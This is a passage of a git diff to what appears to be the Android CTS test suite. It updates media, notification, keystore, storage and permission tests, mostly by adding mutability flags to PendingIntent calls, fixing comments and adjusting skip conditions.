+                    .that(labAccent[0]).isWithin(5).of(expectedL[i]);
+        }
+    }
+
+    private void assertColor(@ColorInt int observed, @ColorInt int expected) {
+        Assert.assertEquals("Color = " + Integer.toHexString(observed) + ", "
+                        + Integer.toHexString(expected) + " expected",
+                observed, expected);
+    }
+
+    private int[] getAllMainColors(Context context) {
+        final int[] colors = new int[12];
+        colors[0] = context.getColor(R.color.system_main_0);
+        colors[1] = context.getColor(R.color.system_main_50);
+        colors[2] = context.getColor(R.color.system_main_100);
+        colors[3] = context.getColor(R.color.system_main_200);
+        colors[4] = context.getColor(R.color.system_main_300);
+        colors[5] = context.getColor(R.color.system_main_400);
+        colors[6] = context.getColor(R.color.system_main_500);
+        colors[7] = context.getColor(R.color.system_main_600);
+        colors[8] = context.getColor(R.color.system_main_700);
+        colors[9] = context.getColor(R.color.system_main_800);
+        colors[10] = context.getColor(R.color.system_main_900);
+        colors[11] = context.getColor(R.color.system_main_1000);
+        return colors;
+    }
+
+    private int[] getAllAccentColors(Context context) {
+        final int[] colors = new int[12];
+        colors[0] = context.getColor(R.color.system_accent_0);
+        colors[1] = context.getColor(R.color.system_accent_50);
+        colors[2] = context.getColor(R.color.system_accent_100);
+        colors[3] = context.getColor(R.color.system_accent_200);
+        colors[4] = context.getColor(R.color.system_accent_300);
+        colors[5] = context.getColor(R.color.system_accent_400);
+        colors[6] = context.getColor(R.color.system_accent_500);
+        colors[7] = context.getColor(R.color.system_accent_600);
+        colors[8] = context.getColor(R.color.system_accent_700);
+        colors[9] = context.getColor(R.color.system_accent_800);
+        colors[10] = context.getColor(R.color.system_accent_900);
+        colors[11] = context.getColor(R.color.system_accent_1000);
+        return colors;
+    }
+}
diff --git a/tests/tests/keystore/src/android/keystore/cts/CipherTest.java b/tests/tests/keystore/src/android/keystore/cts/CipherTest.java
index e3fbad5..6d2ad66 100644
--- a/tests/tests/keystore/src/android/keystore/cts/CipherTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/CipherTest.java
@@ -437,6 +437,7 @@
      */
     public void testEncryptsAndDecryptsInterrupted()
             throws Exception {
+
         Provider provider = Security.getProvider(EXPECTED_PROVIDER_NAME);
         assertNotNull(provider);
         final byte[] originalPlaintext = EmptyArray.BYTE;
@@ -546,8 +547,6 @@
                         KeyProperties.PURPOSE_ENCRYPT | KeyProperties.PURPOSE_DECRYPT,
                         false, isUnlockedDeviceRequired, isUserAuthRequired)) {
                     try {
-                        // Encrypt the data with the device locked
-                        dl.performDeviceLock();
                         Key encryptionKey = key.getKeystoreBackedEncryptionKey();
                         byte[] plaintext = truncatePlaintextIfNecessary(
                                algorithm, encryptionKey, originalPlaintext);
@@ -569,8 +568,9 @@
                                    expectedPlaintext, modulusLengthBytes);
                         }
 
-                        // Then attempt to decrypt the data with the device still locked
-                        // This should fail.
+                        dl.performDeviceLock();
+
+                        // Attempt to decrypt the data with the device locked.
                         cipher = Cipher.getInstance(algorithm, provider);
                         assertFalse(isDecryptValid(expectedPlaintext, ciphertext, cipher, params, key));
 
diff --git a/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java b/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
index 66bd862..bad98b2 100644
--- a/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
@@ -125,6 +125,7 @@
     private static final Pattern OS_PATCH_LEVEL_STRING_PATTERN = Pattern
             .compile("([0-9]{4})-([0-9]{2})-[0-9]{2}");
 
+    private static final int KM_ERROR_CANNOT_ATTEST_IDS = -66;
     private static final int KM_ERROR_INVALID_INPUT_LENGTH = -21;
     private static final int KM_ERROR_PERMISSION_DENIED = 6;
 
@@ -181,6 +182,14 @@
                                         curves[curveIndex], keySizes[curveIndex],
                                         purposes[purposeIndex], devicePropertiesAttestation);
                             } catch (Throwable e) {
+                                if (devicePropertiesAttestation
+                                        && (e.getCause() instanceof KeyStoreException)
+                                        && KM_ERROR_CANNOT_ATTEST_IDS ==
+                                                ((KeyStoreException) e.getCause()).getErrorCode()) {
+                                    Log.i(TAG, "key attestation with device IDs not supported; "
+                                            + "test skipped");
+                                    continue;
+                                }
                                 throw new Exception("Failed on curve " + curveIndex +
                                         " challenge " + challengeIndex + " purpose " +
                                         purposeIndex + " includeValidityDates " +
@@ -503,6 +512,12 @@
                 testRsaAttestation(challenge, false /* includeValidityDates */, keySize, purpose,
                         paddings, devicePropertiesAttestation);
             } catch (Throwable e) {
+                if (devicePropertiesAttestation && (e.getCause() instanceof KeyStoreException)
+                        && KM_ERROR_CANNOT_ATTEST_IDS ==
+                                ((KeyStoreException) e.getCause()).getErrorCode()) {
+                    Log.i(TAG, "key attestation with device IDs not supported; test skipped");
+                    continue;
+                }
                 throw new Exception("Failed on key size " + keySize + " challenge [" +
                         new String(challenge) + "], purposes " +
                         buildPurposeSet(purpose) + " paddings " +
diff --git a/tests/tests/media/src/android/media/cts/AudioPlaybackCaptureTest.java b/tests/tests/media/src/android/media/cts/AudioPlaybackCaptureTest.java
index b67ec58..472763c 100644
--- a/tests/tests/media/src/android/media/cts/AudioPlaybackCaptureTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioPlaybackCaptureTest.java
@@ -284,7 +284,6 @@
             AudioAttributes.USAGE_ASSISTANCE_SONIFICATION,
             AudioAttributes.USAGE_ASSISTANT,
             AudioAttributes.USAGE_NOTIFICATION,
-            AudioAttributes.USAGE_VOICE_COMMUNICATION
     };
 
     @Presubmit
diff --git a/tests/tests/media/src/android/media/cts/MediaControllerTest.java b/tests/tests/media/src/android/media/cts/MediaControllerTest.java
index eab4b09..0fc6a5f 100644
--- a/tests/tests/media/src/android/media/cts/MediaControllerTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaControllerTest.java
@@ -595,12 +595,20 @@
         }
     }
 
-    public void testTransportControlsPlayAndPrepareFromSearchWithNullDoesNotCrash() {
+    public void testTransportControlsPlayAndPrepareFromSearchWithNullDoesNotCrash()
+            throws Exception {
         MediaController.TransportControls transportControls = mController.getTransportControls();
 
-        // These calls should not crash. Null is accepted on purpose.
-        transportControls.playFromSearch(/*query=*/ null, /*extras=*/ new Bundle());
-        transportControls.prepareFromSearch(/*query=*/ null, /*extras=*/ new Bundle());
+        synchronized (mWaitLock) {
+            // These calls should not crash. Null query is accepted on purpose.
+            transportControls.playFromSearch(/*query=*/ null, /*extras=*/ new Bundle());
+            mWaitLock.wait(TIME_OUT_MS);
+            assertTrue(mCallback.mOnPlayFromSearchCalled);
+
+            transportControls.prepareFromSearch(/*query=*/ null, /*extras=*/ new Bundle());
+            mWaitLock.wait(TIME_OUT_MS);
+            assertTrue(mCallback.mOnPrepareFromSearchCalled);
+        }
     }
 
     public void testSendCustomActionWithIllegalArgumentsThrowsIAE() {
diff --git a/tests/tests/media/src/android/media/cts/MediaRouterTest.java b/tests/tests/media/src/android/media/cts/MediaRouterTest.java
index 3d51d57..5d9908f 100644
--- a/tests/tests/media/src/android/media/cts/MediaRouterTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaRouterTest.java
@@ -222,7 +222,7 @@
 
         Intent intent = new Intent(Intent.ACTION_MEDIA_BUTTON);
         PendingIntent mediaButtonIntent = PendingIntent.getBroadcast(
-                mContext, 0, intent, PendingIntent.FLAG_ONE_SHOT);
+                mContext, 0, intent, PendingIntent.FLAG_ONE_SHOT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
         RemoteControlClient rcc = new RemoteControlClient(mediaButtonIntent);
         userRoute.setRemoteControlClient(rcc);
         assertEquals(rcc, userRoute.getRemoteControlClient());
diff --git a/tests/tests/media/src/android/media/cts/MediaSession2Test.java b/tests/tests/media/src/android/media/cts/MediaSession2Test.java
index af48114..6ee8bd4 100644
--- a/tests/tests/media/src/android/media/cts/MediaSession2Test.java
+++ b/tests/tests/media/src/android/media/cts/MediaSession2Test.java
@@ -140,7 +140,7 @@
     public void testBuilder_setSessionActivity() {
         Intent intent = new Intent(Intent.ACTION_MAIN);
         PendingIntent pendingIntent = PendingIntent.getActivity(
-                mContext, 0 /* requestCode */, intent, 0 /* flags */);
+                mContext, 0 /* requestCode */, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED /* flags */);
         try (MediaSession2 session = new MediaSession2.Builder(mContext)
                 .setSessionActivity(pendingIntent)
                 .build()) {
diff --git a/tests/tests/media/src/android/media/cts/MediaSessionTest.java b/tests/tests/media/src/android/media/cts/MediaSessionTest.java
index 55f0558..a8f8d5e 100644
--- a/tests/tests/media/src/android/media/cts/MediaSessionTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaSessionTest.java
@@ -278,7 +278,7 @@
 
             // test setSessionActivity
             Intent intent = new Intent("cts.MEDIA_SESSION_ACTION");
-            PendingIntent pi = PendingIntent.getActivity(getContext(), 555, intent, 0);
+            PendingIntent pi = PendingIntent.getActivity(getContext(), 555, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
             mSession.setSessionActivity(pi);
             assertEquals(pi, controller.getSessionActivity());
 
@@ -313,7 +313,7 @@
     public void testSetMediaButtonReceiver_broadcastReceiver() throws Exception {
         Intent intent = new Intent(mContext.getApplicationContext(),
                 MediaButtonBroadcastReceiver.class);
-        PendingIntent pi = PendingIntent.getBroadcast(mContext, 0, intent, 0);
+        PendingIntent pi = PendingIntent.getBroadcast(mContext, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
         // Play a sound so this session can get the priority.
         Utils.assertMediaPlaybackStarted(getContext());
@@ -357,7 +357,7 @@
     public void testSetMediaButtonReceiver_service() throws Exception {
         Intent intent = new Intent(mContext.getApplicationContext(),
                 MediaButtonReceiverService.class);
-        PendingIntent pi = PendingIntent.getService(mContext, 0, intent, 0);
+        PendingIntent pi = PendingIntent.getService(mContext, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
         // Play a sound so this session can get the priority.
         Utils.assertMediaPlaybackStarted(getContext());
@@ -402,7 +402,7 @@
     public void testSetMediaButtonReceiver_implicitIntent() throws Exception {
         // Note: No such broadcast receiver exists.
         Intent intent = new Intent("android.media.cts.ACTION_MEDIA_TEST");
-        PendingIntent pi = PendingIntent.getBroadcast(mContext, 0, intent, 0);
+        PendingIntent pi = PendingIntent.getBroadcast(mContext, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
         // Play a sound so this session can get the priority.
         Utils.assertMediaPlaybackStarted(getContext());
@@ -506,7 +506,7 @@
 
         Intent mediaButtonIntent = new Intent(Intent.ACTION_MEDIA_BUTTON).setComponent(
                 new ComponentName(getContext(), getContext().getClass()));
-        PendingIntent pi = PendingIntent.getBroadcast(getContext(), 0, mediaButtonIntent, 0);
+        PendingIntent pi = PendingIntent.getBroadcast(getContext(), 0, mediaButtonIntent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
         mSession.setMediaButtonReceiver(pi);
 
         // Set state to STATE_PLAYING to get higher priority.
diff --git a/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/ApplicationMediaCapabilitiesTest.java b/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/ApplicationMediaCapabilitiesTest.java
index dac13f9..3b1d144 100644
--- a/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/ApplicationMediaCapabilitiesTest.java
+++ b/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/ApplicationMediaCapabilitiesTest.java
@@ -39,15 +39,10 @@
     private static final String TAG = "ApplicationMediaCapabilitiesTest";
 
     public void testSetSupportHevc() throws Exception {
-        // Default HEVC support is false.
         ApplicationMediaCapabilities capability =
-                new ApplicationMediaCapabilities.Builder().build();
-        assertFalse(capability.isVideoMimeTypeSupported(MediaFormat.MIMETYPE_VIDEO_HEVC));
-
-        ApplicationMediaCapabilities capability2 =
                 new ApplicationMediaCapabilities.Builder().addSupportedVideoMimeType(
                         MediaFormat.MIMETYPE_VIDEO_HEVC).build();
-        assertTrue(capability2.isVideoMimeTypeSupported(MediaFormat.MIMETYPE_VIDEO_HEVC));
+        assertTrue(capability.isVideoMimeTypeSupported(MediaFormat.MIMETYPE_VIDEO_HEVC));
     }
 
     public void testSetSupportHdr() throws Exception {
@@ -261,4 +256,42 @@
                     parser);
         });
     }
+
+    // Test NameNotFoundException with codec type.
+    // VP9 is not declare in the XML which leads to NameNotFoundException exception.
+    //    <format android:name="HEVC" supported="true"/>
+    //    <format android:name="HDR10" supported="false"/>
+    //    <format android:name="SlowMotion" supported="false"/>
+    public void testUnsupportedCodecMimetype() throws Exception {
+        assertThrows(ApplicationMediaCapabilities.FormatNotFoundException.class, () -> {
+            InputStream xmlIs = mContext.getAssets().open("MediaCapabilities.xml");
+            final XmlPullParser parser = Xml.newPullParser();
+            parser.setInput(xmlIs, StandardCharsets.UTF_8.name());
+
+            ApplicationMediaCapabilities capability = ApplicationMediaCapabilities.createFromXml(
+                    parser);
+
+            boolean supportVP9 = capability.isVideoMimeTypeSupported(
+                    MediaFormat.MIMETYPE_VIDEO_VP9);
+        });
+    }
+
+    // Test NameNotFoundException with hdr type.
+    // DOLBY_VISION is not declare in the XML which leads to NameNotFoundException exception.
+    //    <format android:name="HEVC" supported="true"/>
+    //    <format android:name="HDR10" supported="false"/>
+    //    <format android:name="SlowMotion" supported="false"/>
+    public void testUnsupportedHdrtype() throws Exception {
+        assertThrows(ApplicationMediaCapabilities.FormatNotFoundException.class, () -> {
+            InputStream xmlIs = mContext.getAssets().open("MediaCapabilities.xml");
+            final XmlPullParser parser = Xml.newPullParser();
+            parser.setInput(xmlIs, StandardCharsets.UTF_8.name());
+
+            ApplicationMediaCapabilities capability = ApplicationMediaCapabilities.createFromXml(
+                    parser);
+
+            boolean supportDolbyVision = capability.isHdrTypeSupported(
+                    MediaFeature.HdrType.DOLBY_VISION);
+        });
+    }
 }
diff --git a/tests/tests/notificationlegacy/notificationlegacy20/src/android/app/notification/legacy20/cts/LegacyNotificationManager20Test.java b/tests/tests/notificationlegacy/notificationlegacy20/src/android/app/notification/legacy20/cts/LegacyNotificationManager20Test.java
index 803f55e..fca8837 100644
--- a/tests/tests/notificationlegacy/notificationlegacy20/src/android/app/notification/legacy20/cts/LegacyNotificationManager20Test.java
+++ b/tests/tests/notificationlegacy/notificationlegacy20/src/android/app/notification/legacy20/cts/LegacyNotificationManager20Test.java
@@ -128,7 +128,7 @@
                 | Intent.FLAG_ACTIVITY_CLEAR_TOP);
         intent.setAction(Intent.ACTION_MAIN);
 
-        final PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, intent, 0);
+        final PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
         final Notification notification =
                 new Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
                         .setSmallIcon(icon)
diff --git a/tests/tests/notificationlegacy/notificationlegacy27/src/android/app/notification/legacy/cts/LegacyNotificationManagerTest.java b/tests/tests/notificationlegacy/notificationlegacy27/src/android/app/notification/legacy/cts/LegacyNotificationManagerTest.java
index f5606de..df0d592 100644
--- a/tests/tests/notificationlegacy/notificationlegacy27/src/android/app/notification/legacy/cts/LegacyNotificationManagerTest.java
+++ b/tests/tests/notificationlegacy/notificationlegacy27/src/android/app/notification/legacy/cts/LegacyNotificationManagerTest.java
@@ -314,7 +314,7 @@
                 | Intent.FLAG_ACTIVITY_CLEAR_TOP);
         intent.setAction(Intent.ACTION_MAIN);
 
-        final PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, intent, 0);
+        final PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
         final Notification notification =
                 new Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
                         .setSmallIcon(icon)
diff --git a/tests/tests/notificationlegacy/notificationlegacy28/src/android/app/notification/legacy28/cts/NotificationManager28Test.java b/tests/tests/notificationlegacy/notificationlegacy28/src/android/app/notification/legacy28/cts/NotificationManager28Test.java
index 83d2978..cf8981d 100644
--- a/tests/tests/notificationlegacy/notificationlegacy28/src/android/app/notification/legacy28/cts/NotificationManager28Test.java
+++ b/tests/tests/notificationlegacy/notificationlegacy28/src/android/app/notification/legacy28/cts/NotificationManager28Test.java
@@ -101,6 +101,6 @@
 
     private PendingIntent getPendingIntent() {
         return PendingIntent.getActivity(
-                mContext, 0, new Intent(mContext, this.getClass()), 0);
+                mContext, 0, new Intent(mContext, this.getClass()), PendingIntent.FLAG_MUTABLE_UNAUDITED);
     }
 }
diff --git a/tests/tests/notificationlegacy/notificationlegacy29/src/android/app/notification/legacy29/cts/NotificationAssistantServiceTest.java b/tests/tests/notificationlegacy/notificationlegacy29/src/android/app/notification/legacy29/cts/NotificationAssistantServiceTest.java
index 4318f7f..ee3b3e6 100644
--- a/tests/tests/notificationlegacy/notificationlegacy29/src/android/app/notification/legacy29/cts/NotificationAssistantServiceTest.java
+++ b/tests/tests/notificationlegacy/notificationlegacy29/src/android/app/notification/legacy29/cts/NotificationAssistantServiceTest.java
@@ -262,7 +262,7 @@
         mUi.dropShellPermissionIdentity();
 
         PendingIntent sendIntent = PendingIntent.getActivity(mContext, 0,
-                new Intent(Intent.ACTION_SEND), 0);
+                new Intent(Intent.ACTION_SEND), PendingIntent.FLAG_MUTABLE_UNAUDITED);
         Notification.Action sendAction = new Notification.Action.Builder(ICON_ID, "SEND",
                 sendIntent).build();
 
@@ -530,7 +530,7 @@
                 | Intent.FLAG_ACTIVITY_CLEAR_TOP);
         intent.setAction(Intent.ACTION_MAIN);
 
-        final PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, intent, 0);
+        final PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
         Notification.Action action = new Notification.Action.Builder(null, "",
                 pendingIntent).build();
         // This method has to exist and the call cannot fail
@@ -675,7 +675,7 @@
                 | Intent.FLAG_ACTIVITY_CLEAR_TOP);
         intent.setAction(Intent.ACTION_MAIN);
 
-        final PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, intent, 0);
+        final PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
         final Notification notification =
                 new Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
                         .setSmallIcon(icon)
diff --git a/tests/tests/notificationlegacy/notificationlegacy29/src/android/app/notification/legacy29/cts/NotificationManager29Test.java b/tests/tests/notificationlegacy/notificationlegacy29/src/android/app/notification/legacy29/cts/NotificationManager29Test.java
index 52fe892..c164656 100644
--- a/tests/tests/notificationlegacy/notificationlegacy29/src/android/app/notification/legacy29/cts/NotificationManager29Test.java
+++ b/tests/tests/notificationlegacy/notificationlegacy29/src/android/app/notification/legacy29/cts/NotificationManager29Test.java
@@ -129,7 +129,7 @@
 
     private PendingIntent getPendingIntent() {
         return PendingIntent.getActivity(
-                mContext, 0, new Intent(mContext, this.getClass()), 0);
+                mContext, 0, new Intent(mContext, this.getClass()), PendingIntent.FLAG_MUTABLE_UNAUDITED);
     }
 
 
diff --git a/tests/tests/os/OWNERS b/tests/tests/os/OWNERS
new file mode 100644
index 0000000..3429892
--- /dev/null
+++ b/tests/tests/os/OWNERS
@@ -0,0 +1,4 @@
+per-file *AutoRevoke* = eugenesusla@google.com
+per-file *Companion* = eugenesusla@google.com
+per-file *AndroidManifest.xml = eugenesusla@google.com
+per-file *CtsOsTestCases.xml = eugenesusla@google.com
diff --git a/tests/tests/os/src/android/os/cts/CrossProcessExceptionService.java b/tests/tests/os/src/android/os/cts/CrossProcessExceptionService.java
index c9ad47f..6d0a68a 100644
--- a/tests/tests/os/src/android/os/cts/CrossProcessExceptionService.java
+++ b/tests/tests/os/src/android/os/cts/CrossProcessExceptionService.java
@@ -70,7 +70,7 @@
                     case "ARE":
                         final PendingIntent pi = PendingIntent.getActivity(
                                 CrossProcessExceptionService.this, 12, new Intent(),
-                                PendingIntent.FLAG_CANCEL_CURRENT);
+                                PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
                         throw new AuthenticationRequiredException(new FileNotFoundException("FNFE"), pi);
                     case "RE":
                         throw new RuntimeException("RE");
diff --git a/tests/tests/os/src/android/os/cts/FileObserverLegacyPathTest.java b/tests/tests/os/src/android/os/cts/FileObserverLegacyPathTest.java
index a0a3e85..e83b54a 100644
--- a/tests/tests/os/src/android/os/cts/FileObserverLegacyPathTest.java
+++ b/tests/tests/os/src/android/os/cts/FileObserverLegacyPathTest.java
@@ -56,7 +56,7 @@
      * MODIFY events on that file, ensuring that, in the case of a FUSE mounted
      * file system, changes applied to the lower file system will be detected
      * by a monitored FUSE folder.
-     * Instead of checking if the set of generated events if exactly the same
+     * Instead of checking if the set of generated events is exactly the same
      * as the set of expected events, the test checks if the set of generated
      * events contains CREATE, OPEN and MODIFY. This because there may be other
      * services (e.g., file indexing) that may access the newly created file,
@@ -84,15 +84,16 @@
         os.write("TEST".getBytes("UTF-8"));
         os.close();
 
-        /* Wait for for the inotify events to be catched. A timeout occurs
-         * after 2 seconds. */
+        /* Wait for for the inotify events to be caught. A timeout occurs after
+         * 2 seconds. */
         mCond.block(2000);
 
         int detectedEvents = fileObserver.getEvents().getOrDefault(imageName, 0);
 
         /* Verify if the received events correspond to the ones that were requested */
-        assertEquals("Uncatched some of the events", PathFileObserver.eventsToSet(eventsMask),
-                PathFileObserver.eventsToSet(detectedEvents & eventsMask));
+        assertEquals("Expected and received inotify events do not match",
+            PathFileObserver.eventsToSet(eventsMask),
+            PathFileObserver.eventsToSet(detectedEvents & eventsMask));
 
         fileObserver.stopWatching();
     }
@@ -127,7 +128,7 @@
                     path, filteredEvent | mGeneratedEventsMap.getOrDefault(path, 0));
 
             /* Release the condition variable only if at least all the matching
-             * events have been catched for every monitored file. */
+             * events have been caught for every monitored file. */
             for (String file : mMonitoredEventsMap.keySet()) {
                 int monitoredEvents = mMonitoredEventsMap.getOrDefault(file, 0);
                 int generatedEvents = mGeneratedEventsMap.getOrDefault(file, 0);
diff --git a/tests/tests/os/src/android/os/cts/VibrationEffectTest.java b/tests/tests/os/src/android/os/cts/VibrationEffectTest.java
index 66a11d4..d29e8f7 100644
--- a/tests/tests/os/src/android/os/cts/VibrationEffectTest.java
+++ b/tests/tests/os/src/android/os/cts/VibrationEffectTest.java
@@ -19,7 +19,6 @@
 import static org.junit.Assert.assertArrayEquals;
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertNotEquals;
-import static org.junit.Assert.assertNotSame;
 import static org.junit.Assert.fail;
 
 import android.os.Parcel;
@@ -380,31 +379,6 @@
     }
 
     @Test
-    public void testSetStrength() {
-        VibrationEffect.Prebaked effect = (VibrationEffect.Prebaked)VibrationEffect.get(
-                VibrationEffect.EFFECT_CLICK, true);
-        int[] strengths = {
-                VibrationEffect.EFFECT_STRENGTH_LIGHT,
-                VibrationEffect.EFFECT_STRENGTH_MEDIUM,
-                VibrationEffect.EFFECT_STRENGTH_STRONG
-        };
-        for (int strength : strengths) {
-            effect.setEffectStrength(strength);
-            assertEquals(strength, effect.getEffectStrength());
-        }
-    }
-
-    @Test
-    public void testSetStrengthInvalid() {
-        VibrationEffect.Prebaked effect = (VibrationEffect.Prebaked)VibrationEffect.get(
-                VibrationEffect.EFFECT_CLICK, true);
-        try {
-            effect.setEffectStrength(239017);
-            fail("Illegal strength, should throw IllegalArgumentException");
-        } catch (IllegalArgumentException expected) {}
-    }
-
-    @Test
     public void testStartComposition() {
         VibrationEffect.Composition first = VibrationEffect.startComposition();
         VibrationEffect.Composition other = VibrationEffect.startComposition();
diff --git a/tests/tests/os/src/android/os/image/cts/DynamicSystemClientTest.java b/tests/tests/os/src/android/os/image/cts/DynamicSystemClientTest.java
index 21a2908..fed6b44 100644
--- a/tests/tests/os/src/android/os/image/cts/DynamicSystemClientTest.java
+++ b/tests/tests/os/src/android/os/image/cts/DynamicSystemClientTest.java
@@ -21,9 +21,8 @@
 
 import android.app.Instrumentation;
 import android.net.Uri;
-import android.os.SystemProperties;
 import android.os.image.DynamicSystemClient;
-import android.util.FeatureFlagUtils;
+import android.platform.test.annotations.AppModeFull;
 
 import androidx.test.InstrumentationRegistry;
 import androidx.test.filters.SmallTest;
@@ -34,6 +33,7 @@
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+@AppModeFull(reason = "Instant apps cannot access DynamicSystemClient")
 @SmallTest
 @RunWith(AndroidJUnit4.class)
 public class DynamicSystemClientTest implements DynamicSystemClient.OnStatusChangedListener {
@@ -50,16 +50,8 @@
         mInstrumentation.getUiAutomation().adoptShellPermissionIdentity();
     }
 
-    private boolean featureFlagEnabled() {
-        return SystemProperties.getBoolean(
-                FeatureFlagUtils.PERSIST_PREFIX + FeatureFlagUtils.DYNAMIC_SYSTEM, false);
-    }
-
     @Test
     public void testDynamicSystemClient() {
-        if (!featureFlagEnabled()) {
-            return;
-        }
         DynamicSystemClient dSClient = new DynamicSystemClient(mInstrumentation.getTargetContext());
         dSClient.setOnStatusChangedListener(this);
         try {
@@ -87,6 +79,32 @@
         }
     }
 
+    @Test
+    public void testDynamicSystemClient_withoutOnStatusChangedListener() {
+        DynamicSystemClient dSClient = new DynamicSystemClient(mInstrumentation.getTargetContext());
+        try {
+            dSClient.bind();
+        } catch (SecurityException e) {
+            fail();
+        }
+        Uri uri = Uri.parse("https://www.google.com/").buildUpon().build();
+        try {
+            dSClient.start(uri, 1024L << 10);
+        } catch (SecurityException e) {
+            fail();
+        }
+        try {
+            Thread.sleep(3 * 1000);
+        } catch (InterruptedException e) {
+            fail();
+        }
+        try {
+            dSClient.unbind();
+        } catch (SecurityException e) {
+            fail();
+        }
+    }
+
     @After
     public void tearDown() {
         mInstrumentation.getUiAutomation().dropShellPermissionIdentity();
diff --git a/tests/tests/os/src/android/os/storage/cts/StorageManagerTest.java b/tests/tests/os/src/android/os/storage/cts/StorageManagerTest.java
index d63b0d1..5a14040 100644
--- a/tests/tests/os/src/android/os/storage/cts/StorageManagerTest.java
+++ b/tests/tests/os/src/android/os/storage/cts/StorageManagerTest.java
@@ -24,7 +24,9 @@
 import android.os.Looper;
 import android.os.Parcel;
 import android.os.ParcelFileDescriptor;
+import android.os.Process;
 import android.os.ProxyFileDescriptorCallback;
+import android.os.UserHandle;
 import android.os.cts.R;
 import android.os.storage.OnObbStateChangeListener;
 import android.os.storage.StorageManager;
@@ -334,6 +336,11 @@
             }
         };
 
+        // Unmount storage data and obb dirs before test so test process won't be killed.
+        InstrumentationRegistry.getInstrumentation().getUiAutomation().executeShellCommand(
+                "sm unmount-app-data-dirs " + mContext.getPackageName() + " "
+                        + Process.myPid() + " " + UserHandle.myUserId());
+
         // Unmount primary storage, verify we can see it take effect
         mStorageManager.registerStorageVolumeCallback(mContext.getMainExecutor(), callback);
         InstrumentationRegistry.getInstrumentation().getUiAutomation()
diff --git a/tests/tests/packageinstaller/adminpackageinstaller/src/android/packageinstaller/admin/cts/BasePackageInstallTest.java b/tests/tests/packageinstaller/adminpackageinstaller/src/android/packageinstaller/admin/cts/BasePackageInstallTest.java
index 28ec019..d1d52a1 100644
--- a/tests/tests/packageinstaller/adminpackageinstaller/src/android/packageinstaller/admin/cts/BasePackageInstallTest.java
+++ b/tests/tests/packageinstaller/adminpackageinstaller/src/android/packageinstaller/admin/cts/BasePackageInstallTest.java
@@ -196,7 +196,7 @@
                 mContext,
                 sessionId,
                 broadcastIntent,
-                PendingIntent.FLAG_UPDATE_CURRENT);
+                PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
         return pendingIntent.getIntentSender();
     }
 
diff --git a/tests/tests/permission/src/android/permission/cts/PermissionGroupChange.java b/tests/tests/permission/src/android/permission/cts/PermissionGroupChange.java
index ce2fade..8661f2e 100644
--- a/tests/tests/permission/src/android/permission/cts/PermissionGroupChange.java
+++ b/tests/tests/permission/src/android/permission/cts/PermissionGroupChange.java
@@ -31,6 +31,7 @@
 import android.content.pm.PackageInfo;
 import android.content.pm.PackageManager;
 import android.content.res.Resources;
+import android.platform.test.annotations.AppModeFull;
 import android.platform.test.annotations.SecurityTest;
 import android.support.test.uiautomator.By;
 import android.support.test.uiautomator.UiDevice;
@@ -164,6 +165,7 @@
 
     @SecurityTest
     @Test
+    @AppModeFull
     public void permissionGroupShouldNotBeAutoGrantedIfNewMember() throws Throwable {
         installApp("CtsAppThatRequestsPermissionAandB");
 
diff --git a/tests/tests/permission2/res/raw/android_manifest.xml b/tests/tests/permission2/res/raw/android_manifest.xml
index 3c496fa..579d03d 100644
--- a/tests/tests/permission2/res/raw/android_manifest.xml
+++ b/tests/tests/permission2/res/raw/android_manifest.xml
@@ -2672,11 +2672,17 @@
          The app can check whether it has this authorization by calling
          {@link android.provider.Settings#canDrawOverlays
          Settings.canDrawOverlays()}.
-         <p>Protection level: signature|appop|installer|pre23|development -->
+         <p>Protection level: signature|appop|preinstalled|pre23|development -->
     <permission android:name="android.permission.SYSTEM_ALERT_WINDOW"
         android:label="@string/permlab_systemAlertWindow"
         android:description="@string/permdesc_systemAlertWindow"
-        android:protectionLevel="signature|appop|installer|pre23|development" />
+        android:protectionLevel="signature|appop|preinstalled|pre23|development" />
+
+    <!-- @SystemApi @hide Allows the holder to create privileged application overlays that can not
+         be hidden by other applications
+         <p>Not for use by third-party applications. -->
+    <permission android:name="android.permission.SYSTEM_APPLICATION_OVERLAY"
+                android:protectionLevel="signature|wellbeing"/>
 
     <!-- @deprecated Use {@link android.Manifest.permission#REQUEST_COMPANION_RUN_IN_BACKGROUND}
          @hide
@@ -3143,6 +3149,11 @@
